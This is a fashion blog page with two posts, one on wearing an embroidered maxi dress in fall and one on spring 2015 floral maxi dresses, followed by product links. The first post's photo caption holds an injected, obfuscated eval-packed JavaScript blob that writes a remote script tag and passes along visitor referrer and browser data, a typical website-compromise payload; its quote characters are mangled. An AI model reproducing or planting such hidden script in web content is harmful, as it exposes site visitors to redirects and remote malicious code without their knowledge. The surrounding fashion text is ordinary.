The Mystical Magic of Maxi Dresses

fall fashion maxi dress

fall fashion maxi dressPhotos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrrfh|var|u0026u|referrer|hkhhh||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Last Spring, I had the fun privilege of journeying through Italy with my husband and kids. We toured museums in Florence, rode a gondola in Venice, were awed by the Coliseum in Rome, and enjoyed the beaches and cuisine of the Amalfi Coast. And of course, I shopped. A LOT.

One of my favorite finds was this black embroidered maxi dress from a boutique in Sorrento. I loved wearing all summer over a little tank dress, but when the time came to stow my hot weather maxis and minis and pull out my Fall wardrobe, I balked at tucking this pretty piece away.

Why not just make it work for Fall, I thought? Easy-peasy, with a little inspiration from Stevie Nicks’ style and a fab hat from SWANK BOUTIQUE! Skip the sandals – brr! – and opt for tall cozy boots. I love the bell sleeves on this dress; that style is definitely trending for Fall, and it’s easy to layer a fitted long-sleeved top underneath for more warmth (like these styles from Uniqlo!), or a pair of long gloves or arm-warmers.

Do you maxi in the colder months? Tell me your favorite transitional pieces in the comments below!
XO,
Tanya

fall maxi dress fashion stylespygirlHat: SWANK Boutique / Dress: Italy / Wrap Belt: White House|Black Market / Boots: Sam Edelman via Nordstrom Rack / Layering Necklaces: Moon & Black pendant by Druzy Dreams, long Rebel Pendant by Stella & Dot

fall fashion maxi dress stylespygirlLayering Rings, let to right: Rebel Ring by Stella & Dot / Star Midi ring, Druzy Dreams / Triangle stone, flea market / Silver Crystal wrap ring, Unigon Specialties / Midi ring, Unigon Specialties / Wedding ring, custom-made

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Flower Power – Spring Floral Dresses for 2015

spring 2015 floral maxi stylespygirl

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Nordstrom Rack’s Last Chance store / Prince Street Silver Satchel, Coach / Amulet Necklace & Earrings, Coach / Sandals: ShoeHound / Photos: Valerie Davenport / Hair: Sara Murray / Nails: Gretchen LeMay
spring 2015 floral maxi stylespygirlspring 2015 floral trend coachspring 2015 floral maxi stylespygirlspring 2015 floral trend coachspring 2015 floral trend coach
Floral patterns seem to make a comeback every spring. Something about April showers bringing May flowers, I suppose! This Spring 2015 is no different; flowers are blooming everywhere, both in the ground and on the fashion runway. And with the fashion world’s current love affair with the groovy 70’s, flower power is stronger than ever!

I was recently in Phoenix, Arizona, and briefly had the chance to visit the Nordstrom Rack’s famous “Last Chance” store. Oh my gosh, that place is epic! I was sad I only had an hour to look around, as the shoe shelves were piled high with everything from Jeffrey Campbells to Louboutins, all deeply discounted for minor-to-imperceptible flaws.

One lovely little thing I managed to snag before my time was up, was this floral maxi dress. It was $12! Seriously! Great score, right? I love the tiered skirt and jewel-tone flowers. Such a girly, girl, I know, but I also really love bold colors. I paired it with a simple-yet-stunning “Prince Street” metallic tote from COACH that I’m absolutely obsessed with (this little beauty goes with everything!!!), and ankle-strap sandals from new local shoe shop ShoeHound.

Will you rock the floral trend this Spring & Summer? Scroll down to shop the look! I found maxi floral dresses online in a variety of prices – none are $12 like mine, sorry, but all carry the essence of the trend: ladylike, classy, easy-breezy floral elegance. Tell me about your favorite florals, in the comments below!
XOXO,
Tanya

Special thanks to Valerie Davenport for the photos, Sara Murray for styling my hair, and Gretchen LeMay for the adorable nail art (dragonflies – cuteness!)

Trixxi Print Maxi Dress, on sale now for $38.90
ASTR High Neck Maxi Dress, on sale now for $46.80
4SI3NNA High Neck Maxi Dress, $68
London Times Floral Print Shirred Waist Maxi, extended sizes, $78
Leith Deep V-Neck Maxi Dress, $78
Free People Print Slipdress, $128
Eliza J Print Pleat Chiffon Maxi Dress, $158
Free People Cherry Blossom Maxi Dress, $350